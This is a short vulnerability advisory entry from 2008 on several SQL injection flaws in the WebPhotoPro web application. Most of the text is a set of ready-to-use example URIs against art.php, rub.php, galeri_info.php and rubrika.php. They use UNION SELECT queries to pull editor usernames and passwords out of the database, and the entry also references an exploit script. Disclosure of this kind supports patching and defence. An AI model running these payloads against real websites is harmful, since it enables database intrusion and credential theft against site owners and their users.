exploits , vulnerabilities , articles , WebPhotoPro Multiple SQL Injection Vulnerabilities

Title	WebPhotoPro Multiple SQL Injection Vulnerabilities
Published	2008-12-14-12:00AM
Updated	2008-12-19-03:52PM
Class	Input Validation Error
CVE
Remote	Yes
Local	No
Credit	baltazar and sinner_01
Vulnerable	WebPhotoPro WebPhotoPro 0
Not Vulnerable
Code	Attackers can use a browser to exploit these issues.The following example URIs are available:http://www.example.com/art.php?idm=1'+and+1=2+union+all+select+1,2,3,4,5,6,concat_ws(char(58),username,password),8,9,10,11,12,13+from+editor/* http://www.example.com/rub.php?idr=1+and+1=2+union+all+select+1,2,3,4,5,6,concat_ws(char(58),username,password),8,9,10,11,12+from+editor-- http://www.example.com/rub.php?idr=1+and+1=2+union+all+select+1,2,3,concat_ws(char(58),username,password),5,6,7,8,9+from+editor-- http://www.example.com/rub.php?idr=1+and+1=2+union+all+select+1,2,3,concat_ws(char(58),username,password),5,6,7,8,9,10+from+editor-- http://www.example.com/galeri_info.php?ida=1+and+1=2+union+all+select+1,2,3,concat_ws(char(58),username,password),5,6+from+editor/* http://www.example.com/galeri_info.php?ida=1+and+1=2+union+all+select+1,concat_ws(char(58),username,password),3,4,5,6,7+from+editor/* http://www.example.com/rubrika.php?idr=1+and+1=2+union+all+select+1,concat_ws(char(58),username,password),3,4,5,6,7+from+editor--The following exploit is also available: /data/vulnerabilities/exploits/32829.py
TXT